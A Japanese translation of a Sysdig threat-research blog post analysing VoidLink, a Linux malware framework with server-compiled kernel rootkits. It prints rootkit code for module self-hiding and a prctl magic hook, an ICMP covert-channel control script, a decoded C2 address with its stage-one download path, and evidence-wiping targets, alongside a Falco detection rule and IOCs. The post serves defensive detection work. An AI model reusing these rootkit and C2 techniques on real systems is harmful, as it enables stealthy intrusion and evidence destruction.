
Falco Feedsは、オープンソースに焦点を当てた企業に、新しい脅威が発見されると継続的に更新される専門家が作成したルールにアクセスできるようにすることで、Falcoの力を拡大します。

本文の内容は、2026年1月16日に Sysdig 脅威リサーチチームが投稿したブログ(https://www.sysdig.com/blog/voidlink-threat-analysis-sysdig-discovers-c2-compiled-kernel-rootkits)を元に日本語に翻訳・再構成した内容となっております。
2026年1月13日、Check Point Research は、クラウド環境を標的として設計された中国発の Linux マルウェアフレームワーク VoidLink に関する分析を公開しました。その発見を受けて、Sysdig 脅威リサーチチーム(TRT)は VoidLink をさらに詳しく調査し、マルウェアのローダーチェーン、ルートキットの内部構造、制御メカニズムをより深く理解するために、そのバイナリを解析しました。
Sysdig TRT による VoidLink 分析の主な調査結果は次のとおりです:
- サーバーサイド・ルートキット・コンパイル(SRC)の初の文書化事例:コマンド&コントロール(C2)サーバーが、各標的の特定のカーネルバージョンに合わせてオンデマンドでカーネルモジュールをビルドし、ロード可能カーネルモジュール(LKM)型ルートキットを制約してきた可搬性の問題を解決しています。
- AI支援による中国開発:カーネルソース全体に中国語の技術的コメントが残されており、大規模言語モデル(LLM)によって生成された定型コードのパターンと組み合わされています。
- 適応型の検知・対応回避:VoidLink はセキュリティ製品を検出し、三重冗長の制御チャネルを用いてリアルタイムに挙動を調整します。
- ランタイム監視による検知が可能:高度な仕組みであるにもかかわらず、VoidLink のシステムコールのパターンやファイルレス実行手法は、Falco や Sysdig Secure などのランタイム検知ツールで可視化できます。
- Zig プログラミング言語:VoidLink は、Zig で記述されたことが確認された初の中国語マルウェアです。
Sysdig の脅威リサーチチーム(TRT)による VoidLink の技術的な調査は、感染チェーンから始まり、ルートキットを掘り下げ、これまで未発見だった複数の機能や侵害指標(IOC)を特定しています。まずは、そのアーキテクチャを分析することから始めましょう。
VoidLink のマルチステージ ローダー アーキテクチャー
VoidLink は、ディスク上の痕跡を最小限に抑え、静的解析を回避することを目的とした、3段階の配信メカニズムを採用しています。侵入には、最初の2つのドロッパーに依存しています。
ステージ 0:初期ドロッパー
ステージ 0 のローダーは、感染をブートストラップするための、Zig で記述された最小限の 9KB の Executable and Linkable Format(ELF)バイナリです。その簡素さは意図的なものであり、小さなバイナリほど注目を集めにくく、残される痕跡も少なくなります。実行されると、ステージ 0 は次の操作を実行します。
- prctl(PR_SET_NAME) を使用して fork し、[kworker/0:0] を装って偽装します。
- HTTP 経由で C2 に接続し、/stage1.bin をダウンロードします。
- ファイルレス手法を用いて、ペイロードを完全にメモリ上で実行します。
システムコールのシーケンスは非常に特徴的です:
fork(57) → Create child process
prctl(157) → Set process name to [kworker/0:0]
socket(41) → Create TCP socket
connect(42) → Connect to C2 server
recvfrom(45) → Receive /stage1.bin payload
memfd_create(319) → Create anonymous memory file
write(1) → Write payload to memfd
execveat(322) → Execute from memory fd
memfd_create に続いて execveat を使用する手法は、ファイルレス実行のためのよく知られた組み合わせです。これに先立って、カーネルスレッド名を指定する prctl(PR_SET_NAME) が呼び出されている点は、特に不審です。正規のカーネルスレッドが /proc/<pid>/exe に実行可能パスを持つことは、ほとんどありません。
C2 設定のエンコード
C2 のアドレスは、XOR キー 0xAA によって難読化されています。
encoded = bytes.fromhex("92849b9e93839b989284...")
decoded = bytes([b ^ 0xAA for b in encoded])
# Result: b'8.149.128.10/stage1.bin HTTP/1.1\r\nHost: 'ポート番号(8080)は別途保存されており、rolw $8, %cx によってバイトスワップされています。この軽微な難読化は単純な文字列抽出を困難にしますが、復号自体は容易です。
ステージ 1:インプラント ドロッパー
ステージ 1 は、ステージ 0 と同じく 9KB のサイズで、同一の Zig ツールチェーンを使用しています。主な違いは HTTP Range ヘッダーをサポートしている点で、これにより、より大きなインプラントバイナリの再開可能なダウンロードが可能になります。

Range ヘッダーのサポートは実用的な選択です。インプラントは 1.2MB と大きく、ダウンロードが中断された場合でも、最初からやり直すのではなく再開できます。パス /implant.bin は、2 つの文字列断片から実行時に構築されており、これは基本的なアンチ文字列手法です。
ファイルレス実行の詳細
memfd_create("", MFD_CLOEXEC) → fd 3
write(3, implant_data, size)
execveat(3, "", argv, envp, AT_EMPTY_PATH)AT_EMPTY_PATH フラグを指定した空のファイル名により、ファイルシステム上のパスを介さず、ファイルディスクリプタから直接実行することが可能になります。バイナリがディスクに書き込まれることは一切ありません。
検知および対応の適応的回避
VoidLink は、主要な Cloud Detection and Response(CDR)、Endpoint Detection and Response(EDR)、Extended Detection and Response(XDR)製品を単に回避するだけではありません。プロセス名やパスのレベルでそれらを積極的にプロファイリングし、その結果に応じて挙動を調整します。この適応型ステルスは、本フレームワークを特徴づける重要な要素の一つです。その仕組みをより深く理解するために、VoidLink が探索するプロセス名やパス、そしてそれらを検出した際に何が起こるのかを見ていきましょう。
セキュリティ製品の検出
インプラントは、2つの方法でセキュリティ製品をスキャンします。1つは /proc/<pid>/comm を用いたプロセス列挙、もう1つはインストールパスの探索です。

さらに VoidLink は、2つの動的解析ツールの存在も確認します。動的インストルメンテーションツールとして広く利用されている Frida については、frida-agent や frida-gadget プロセスを探索し、/proc/self/maps をスキャンしてロードされている Frida ライブラリを検出します。デバッガの検出については、/proc/self/status 内の TracerPid フィールドを確認します。このフィールドには、ptrace を介して現在のプロセスをトレースしているプロセスの PID が格納されます。値が 0 の場合はトレーサが接続されていないことを示し、0 以外の値であれば、gdb、strace、またはセキュリティツールなどのデバッガがアクティブに接続されていることを意味します。
なお、Sysdig Secure は表に記載されているプロセス名を使用していません。ただし、これはシステムコールを記録できる sysdig OSS ツールの名称です。
リスクベースのタイミング調整
検知・対応製品が検出された場合、VoidLink は検知される可能性を低減するために、ビーコンの送信間隔を調整します。

リバースエンジニアリングの過程で、逆アセンブルされたバイナリから、使用されている正確な値が明らかになります。
; Check if any EDR detected (rbx = count)
0x108b721: testq %rbx, %rbx
0x108b728: je no_detections
; HIGH RISK - EDR detected
0x108b758: movl $0x400, ... ; base_delay = 1024ms
0x108b76e: movl $0x1388, %r14d ; max_delay = 5000ms
0x108b774: movl $0x3e99999a, ... ; jitter = 0.3 (30%)
0x108b77e: movb $0x2, %al ; mode = 2 (paranoid)
; LOW RISK - no detections
0x108b788: movl $0x1000, ... ; base_delay = 4096ms
0x108b79e: movl $0x3e8, %r14d ; max_delay = 1000ms
0x108b7a4: movl $0x3e4ccccd, ... ; jitter = 0.2 (20%)
0x108b7ae: movb $0x1, %al ; mode = 1 (aggressive)
利用可能な回避戦略

文字列内で確認された追加の回避用トグルには、業務時間内のみ活動するための working_hours.enabled、通信パターンを調整する traffic_shaping.enabled、そして HTTP、WebSocket、Internet Control Message Protocol(ICMP)の各チャネルをホットスイッチするための protocol_switch が含まれています。
ルートキットの機能とカーネルレベルのステルス性
VoidLink は高度なルートキットを実装しており、3 つの展開方法を備えていますが、被害環境におけるカーネルバージョンや利用可能な機能に基づいて、そのうちの 1 つのみが選択されます。
デプロイメント選択ロジック
フレームワークは、適切なステルス機構を自動的に選択します。
- Kernel 6.x+: eBPF をリモートでコンパイルし、ss_loader を介してデプロイします
- Kernel 5.x: eBPF とロード可能カーネルモジュール(LKM)を組み合わせたハイブリッドモード
- Older kernels: LKM をリモートでコンパイルし、finit_module を介してロードします
サーバーサイド・ルートキット・コンパイル(SRC)
VoidLink のインプラントは、カーネルモジュールを直接組み込んでいません。代わりに、/compile への POST リクエストを通じて、カーネル固有のビルドを C2 サーバーに要求します。
{
"kernel_release": "6.1.0-generic",
"hidden_ports": [4444, 8080],
"has_gcc": true,
"has_clang": false,
"has_headers": true
}
C2 は、標的となるカーネルに適したコンパイル済みモジュールを返します。
{
"module_type": "ebpf",
"ebpf_data": "<base64-encoded .o file>",
"needs_ebpf_ss": true
}
この前例のない設計により、インプラントを小型に保ちつつ、クライアント側で Compile Once, Run Everywhere(CO-RE)の複雑さを抱えることなく、カーネル互換性を確保しています。C2 サーバーは、一般的なカーネルバージョン向けにコンパイル済みモジュールをキャッシュすることも可能です。
カーネルの可搬性に対する新しいアプローチ
カーネルモジュールは特定のカーネルヘッダーに対してコンパイルする必要があるため、LKM ルートキットにとって可搬性の課題となります。VoidLink の SRC アプローチは、文書化されたマルウェアにおいて前例のないものと考えられます。

SRC は、インプラントを肥大化させたり、標的環境にビルドツールを要求したりすることなく、カーネルの可搬性問題を解決します。C2 はインプラントを再配布することなくルートキットのコードを更新でき、モジュールはオンデマンドでコンパイルされるため、静的シグネチャを減少させます。
セルフコンパイル型バリアント:組み込みアセット
より大きな 1.9MB のバリアントは、ルートキット展開において異なるアプローチを採用しています。このバリアントには、ソースコード(約 700KB)と、gzip 圧縮された事前コンパイル済みバイナリ(約 800KB)の両方が組み込まれています。

デプロイメント時のフォールバックチェーンでは、まずローカルでのコンパイル(gcc とカーネルヘッダーが利用可能な場合)を試行し、その後、事前コンパイル済みの vl_stealth.ko を展開して finit_module() によりロードし、さらに ss_loader を /tmp/.vl_ss_loader に展開して eBPF をデプロイします。
LKM フックの対象
カーネルモジュール(vl_stealth.ko)は、インプラントの存在を隠蔽するために、複数種類のフックを実装しています。
Syscall table hooks:

Kretprobe hooks:

なぜ netstat には LKM を使用し、ss には eBPF を使用するのでしょうか?
インプラントがツールごとに異なるステルス機構を使用しているのは、それぞれがネットワーク状態を異なる方法で取得しているためです。netstat コマンドは /proc/net/tcp を読み取るため、tcp4_seq_show の kretprobe によって介入できます。一方、ss ユーティリティは netlink ソケット(NETLINK_SOCK_DIAG) を使用するため、recvmsg をフックするには eBPF が必要になります。ソースコード内の中国語コメントには、次のように明記されています。
「ss 命令隐藏由 eBPF 模块实现(更稳定)」(ss コマンドの隠蔽は eBPF モジュールによって実装されており、より安定している)。
Kernel 5.7+ 互換性
Linux 5.7 では kallsyms_lookup_name のエクスポートが停止され、カーネルシンボルを取得するための一般的な手法が使用できなくなりました。VoidLink はこれを回避するために、kallsyms_lookup_name 自体に kprobe を登録し、kprobe 構造体からそのアドレスを読み取ったうえで、そのアドレスを関数ポインタとして使用し、他のシンボルを検索します。
Netfilter hooks for ICMP covert channel:

モジュールの自己隠蔽
このモジュールは標準的な列挙対象から自らを除外し、防御側が異常なカーネルモジュールを特定することをより困難にします。Linux カーネルは、modules というグローバル変数を起点とした、ロード済みモジュールすべての二重連結リストを維持しています。このリストを走査するのが /proc/modules であり、その結果が lsmod に表示されます。各ロード済みモジュールは、このチェーンにリンクするためのリストメンバーを含む struct module によって表現されています。このリストから自分自身をアンリンクすることで、モジュールはメモリ上で完全に機能したまま、標準的な列挙ツールからは見えなくなります。
static void hide_module(void) {
list_del_init(&THIS_MODULE->list); // Hide from /proc/modules
kobject_del(&THIS_MODULE->mkobj.kobj); // Hide from /sys/module/
}
MODULE_LICENSE("GPL");
MODULE_INFO(intree, "Y"); // Pretend to be in-tree moduleMODULE_INFO(intree, "Y") ディレクティブにより、このモジュールは外部からロードされたモジュールではなく、正規のカーネルコンポーネントであるかのように見せかけることができます。これにより、「O」(アウト・オブ・ツリー)を示す汚染フラグを回避します。
vfs_read を介したシンボル隠蔽
vfs_read フックは、/proc/kallsyms および /sys/kernel/debug/kprobes/list から機密性の高い文字列をフィルタリングします。これがなければ、cat /proc/kallsyms | grep vl_stealth によってモジュールが露見してしまいます。フィルタリングされる文字列には、vl_stealth、tcp4_seq_show、netlink_recvmsg、そして特に vfs_read 自身が含まれます。つまり、このルートキットは、自身の隠蔽メカニズムそのものも隠しているのです。
コントロールチャネル
VoidLink は、ルートキットを管理するために、目的、ステルス性の特性、機能面でのトレードオフがそれぞれ異なる、3 つの明確なコントロールチャネルを提供しています。
prctl マジックインターフェース
これはルートキットとのローカルインターフェースであり、インプラントが変更を加えることを可能にします。カーネルモジュールは prctl をフックし、マジックオプション値 0x564C(ASCII で「VL」)に応答します。
#define PRCTL_MAGIC 0x564C
static asmlinkage long hk_prctl(int option, unsigned long arg2, ...) {
if (option == PRCTL_MAGIC) {
int cmd = (int)arg2;
switch (cmd) {
case 1: add_hidden_port(arg3); break;
case 2: add_hidden_pid(arg3); break;
case 3: add_hidden_file((char*)arg3); break;
case 4: clear_all_hiding(); break;
}
return 0;
}
return orig_prctl(option, arg2, arg3, arg4, arg5);
}
これにより、ネットワーク通信を一切必要としないユーザー空間の制御インターフェースが提供され、脅威アクターは検知をより効果的に回避できるようになります。
Berkeley Packet Filter(BPF)マップの更新
eBPF ベースのステルス機能については、インプラントは BPF マップを更新することで、ネットワークに関するステルス機能の挙動を変更します。
int ports_fd = bpf_object__find_map_fd_by_name(obj, "sd_nl_ports");
bpf_map_update_elem(ports_fd, &port, &v, BPF_ANY);使用されている Berkeley Packet Filter(BPF)マップには、sd_nl_ports(ss から隠蔽するポート)、sd_cg_pids(ps から隠蔽する PID)、sd_cg_names(隠蔽するファイル名)が含まれます。
ICMP 秘匿チャネル
最も興味深い制御メカニズムは、ICMP エコーパケットを介してコマンドを送信できる点です。これにより、他のすべてのアクセスが失われた場合でも、インプラントに対してリモートでコマンドを送信できます。VoidLink は、ID フィールドにマジック値 0xC0DE を含む ping パケット(ICMP タイプ 8)を待ち受けます。

さらに興味深いのは、マルウェアの作者が、完全な Python 製の制御スクリプトをバイナリ内に直接埋め込んでいる点です。
import socket,struct,sys
s=socket.socket(socket.AF_INET,socket.SOCK_RAW,1)
magic=0xC0DE
key=0x42
cmd=int(sys.argv[2])
data=bytes.fromhex(sys.argv[3]) if len(sys.argv)>3 else b''
payload=struct.pack('>HBB',magic,cmd,key)+data
# ... checksum calculation ...
s.sendto(icmp,(sys.argv[1],0))
これにより、主要な HTTP C2 経路が遮断された場合でも、アウトオブバンドでの制御が可能になります。標的に対して ICMP が到達可能であることだけが要件となるため、脅威アクターは静かに持続的なアクセスを維持できます。
コントロールチャネルのコマンド対応表
興味深い点として、prctl インターフェースと ICMP インターフェースでは、ポート操作と Proportional・Integral・Derivative(PID)操作に使用されるコマンド番号が異なっており(互いに入れ替わっています)。これは、これらのコードパスが独立して進化してきたことを示唆しています。

自己破壊メカニズム
ICMP の 0xFE コマンドは、証拠を包括的に破壊する処理をトリガーします。このクリーンアップ手順には、LKM の無効化(隠蔽されているすべての PID、ポート、ファイルプレフィックスの解除)、ログの消去(/var/log/auth.log、/var/log/syslog、/var/log/audit/audit.log など)、シェル履歴の削除(~/.bash_history、~/.zsh_history、~/.python_history)、VoidLink のアーティファクトの削除(/tmp/.vl_*、/var/tmp/.vl_*、/dev/shm/.vl_*)、および unlink(self_path) による自己削除が含まれます。このクリーンアップ処理の徹底ぶりは、ルートキット開発者が高度な運用セキュリティ意識を持っていることを示しています。
クラウドネイティブな機能
VoidLink には、クラウド環境およびコンテナ環境向けに特化した機能が含まれています。
環境の検出

コンテナエスケーププラグイン
docker_escape_v3 プラグインは、コンテナ脱出の機会を探索します。具体的には、Docker ソケットのマウント(/var/run/docker.sock)、特権コンテナの検出(–privileged)、機密性の高いホストパスのマウント(/、/etc、/root)、カーネルエクスプロイトの適用可否、および cgroup の release_agent 悪用などが含まれると考えられます。
Kubernetes 特権昇格
k8s_privesc_v3 プラグインは設定不備を探索します。これには、過度に権限の広いサービスアカウントトークン、特権付き Pod のセキュリティコンテキスト、ホストネームスペースへのアクセス(hostPID、hostNetwork)、書き込み可能な hostPath マウント、そしてシークレットへのアクセスや Pod の作成を可能にする Role-Based Access Control(RBAC)の設定不備などが含まれる可能性があります。
このようなコンテナ脱出機能と Kubernetes の権限昇格機能の組み合わせは、コンテナ分離が主要なセキュリティ境界となっているクラウドネイティブ環境において、VoidLink を特に懸念すべき存在にしています。
検知
このルートキットは高度に洗練されており、セキュリティツールによる検知を回避しようとしていますが、それでも Falco や Sysdig Secure 向けのランタイム検知ルールによって検知することが可能です。Sysdig Secure の利用者には、VoidLink を検出するためのルールがすでに提供されています。これには、ルートキットのインストールを検知する複数のルールが含まれています。
- Drop and Execute /tmp Binary
- Fileless Malware Detected (memfd)
- Linux Kernel Module Injection Detected
- New Kernel Module Created and Loaded
- eBPF Program Loaded into Kernel
- BPF Command Executed by Fileless Program
- Dynamic Linker Hijacking Detected
Falco では、以下のルールがドロッパーによる memfd_create の使用を検知します。このルールは、Falco のデフォルトルールセットに含まれています。
- rule: Fileless execution via memfd_create
desc: Detect if a binary is executed from memory using the memfd_create technique. This is a well-known defense evasion technique for executing malware on a victim machine without storing the payload on disk and to avoid leaving traces about what has been executed. Adopters can whitelist processes that may use fileless execution for benign purposes by adding items to the list known_memfd_execution_processes.
condition: >
spawned_process
and proc.is_exe_from_memfd=true
and not known_memfd_execution_processes
output: Fileless execution via memfd_create | container_start_ts=%container.start_ts proc_cwd=%proc.cwd evt_res=%evt.res proc_sname=%proc.sname gparent=%proc.aname[2] evt_type=%evt.type user=%user.name user_uid=%user.uid user_loginuid=%user.loginuid process=%proc.name proc_exepath=%proc.exepath parent=%proc.pname command=%proc.cmdline terminal=%proc.tty exe_flags=%evt.arg.flags
priority: CRITICAL
tags: [maturity_stable, host, container, process, mitre_defense_evasion, T1620]
アトリビューション指標
複数の重要な指標から、高度なカーネルに関する専門知識を持つ中国語話者の開発者によるものだと考えられます。
中国語ネイティブによる技術ドキュメント
埋め込まれているカーネルモジュールのソースには、機械翻訳ではない、技術的に正確な中国語のコメントが多数含まれています。
// ============= 稳定性增强: 符号查找 =============
// (Stability enhancement: symbol lookup)
// 方式1: 直接查找 (kallsyms_lookup_name - pre-5.7)
// 方式2: 使用 kprobe 直接查找 (5.7+)
// 方式3-5: Try compiler-mangled variants (.isra.X, .constprop.X, .part.X)
MODULE_INFO(intree, "Y"); // 避免 taint 警告
// (Avoid taint warning)
これらのコメントは、Linux 5.7 において kallsyms_lookup_name のエクスポートが停止された変更点を把握し、kprobe ベースの回避策が必要になることを理解しているなど、カーネル開発に関する実践的な知識を備えていることも示しています。
AI 支援による開発の評価
コード分析の結果、人間主導で AI の支援を受けた開発モデルである可能性が示唆されています(AI 支援の確率は推定 70~80%)。
AI 支援の証拠は次のとおりです:
- 過度に体系化されたデバッグ出力が、すべてのモジュールで完全に一貫した書式で出力されていること。
- プレースホルダーのデータ(「John Doe」)が、デコイの応答テンプレートに埋め込まれた LLM の学習例として典型的であること。
- あらゆるものが _v3(BeaconAPI_v3、docker_escape_v3、timestomp_v3)になっているような、API バージョニングの一様性。
- あらゆるフィールドを網羅した、テンプレートのような JSON レスポンス。
人間による専門知識の証拠:
- カーネルモジュール全体にわたる、中国語ネイティブによる技術的コメント。
- kretprobe、Netfilter フック、kallsyms の互換性といった、深いカーネル開発知識。
- マジックバイト、再開可能なダウンロード、複数のフォールバック経路など、実際のレッドチーム経験を反映した運用上の高度な手法。
- Zig ツールチェーンを意図的に選択している点。
最も可能性が高いシナリオは、高度なスキルを持つ中国語話者の開発者が、セキュリティに関する専門知識とアーキテクチャ設計は自ら担いながら、ボイラープレートコード、デバッグログ、JSON テンプレートの生成といった部分で AI を活用して開発を加速させた、というものです。
検知、緩和、および是正に関する推奨事項
組織は、VoidLink を検知し、被害を軽減するために、次の対応を取るべきです。
- Falco などのツールを用いてランタイム脅威検知を導入し、ファイルレス実行やプロセス偽装の挙動を検知してください。
- bpf システムコールを通じた eBPF プログラムのロードを監視し、特に BPF の使用が想定されていない環境では注意してください。
- カーネルモジュールのロードを監査し、ベースラインと一致しないモジュール、特に一時ディレクトリから finit_module によってロードされたものを調査してください。
- 異常な ICMP トラフィックを確認し、特に不自然なペイロードサイズを持つエコー要求や、マジック ID 0xC0DE を含むものに注意してください。
- 予期しないプロセスからの 169.254.169.254 や 100.100.100.200 への接続を監視し、クラウドメタデータへのアクセスを確認してください。
- 特権付きコンテナを禁止し、Docker ソケットへのアクセスを制限するコンテナセキュリティポリシーを実装してください。
- VoidLink の指標が検出されたシステムについては、SSH キー、AWS 認証情報、Kubernetes のサービスアカウントトークンなど、すべての認証情報をローテーションしてください。
まとめ
VoidLink は、Linux を標的とするマルウェアにおける大きな進化を示しています。個々の技術自体は広く文書化されていますが、それらの統合はプロフェッショナルに設計されています。C2 が標的ごとの特定のカーネルバージョンに合わせてオンデマンドでカーネルモジュールをビルドする SRC アーキテクチャは、クロスカーネルなルートキットデプロイメントにおける難題を解決しています。適応型の脅威プロファイリング、洗練されたフォールバックチェーン、冗長化されたコントロールチャネルは、運用経験を備えた成熟した開発体制を示しています。
Linux を標的とする攻撃の頻度が高まる中で、ランタイム脅威検知の重要性はこれまで以上に増しています。VoidLink はセキュリティ製品を積極的にプロファイリングし、回避するよう適応するため、静的検知だけでは不十分です。Linux インフラを運用する組織は、行動ベースの検知機能の導入を優先し、本レポートで詳述した指標を監視することが求められます。
解析されたサンプル
本分析では、VoidLink の 5 つのバリアントを対象としており、それぞれがフレームワークのアーキテクチャに関する異なる知見を提供しています。

Zig のデバッグ版バリアントは、特に有用であることが判明しました。シンボルが保持されているため、本来であれば多大なリバースエンジニアリングの労力を要するモジュールのアーキテクチャや内部の命名規則が明らかになっています。
なぜZigなのか?
VoidLink は Zig プログラミング言語を用いて構築されており、これは攻撃用ツールにおける新たな潮流を反映した、やや異例の選択です。Zig は、ガベージコレクションを伴わないメモリ安全性、C に近い低レベル制御、そして組み込みのクロスコンパイル機能を提供します。さらに脅威アクターにとって重要なのは、Zig バイナリは従来の C/C++ 実行ファイルと比べて構造の特徴が捉えにくく、ヒューリスティックやシグネチャベースの検知エンジンを混乱させやすい点です。
この選択は意図的なものです。静的リンクされた Zig バイナリはランタイム依存関係なしでどこでも実行でき、セキュリティツールはまだ Zig 特有のパターンに最適化されていません。VoidLink は、中国語話者の脅威アクターに帰属すると考えられる、文書化された初の Zig ベースのマルウェアであると見られます。
セキュリティ侵害の指標
File hashes (SHA256)
Loaders and implants:

Extracted modules:

Network indicators
C2 server:

C2 endpoints:
POST /api/v2/handshakePOST /api/v2/syncGET /api/v2/heartbeatPOST /compileGET /stage1.binGET /implant.bin
User-agent strings:
Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36Mozilla/5.0 (Macintosh; Intel Mac OS X 14_2) AppleWebKit/605.1.15Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:121.0) Gecko/20100101 Firefox/121.0
File system artifacts
Drop locations:
/tmp/.vl_ss_loader/tmp/.vl_k[3-6].ko/tmp/.vl_cmd.sh/tmp/.vl_config/tmp/.font-unix/.tmp.ko/tmp/.font-unix/.cmd.sh
Staging paths:
/dev/shm/.x/dev/shm/.pulse-*/dev/shm/.vl_*/tmp/.x/var/tmp/.vl_*
Process indicators
Masquerade names:
[kworker/0:0][kworker/0:1][kworker/u8:0][kworker/u16:0]migration/0watchdog/0rcu_sched
Magic values
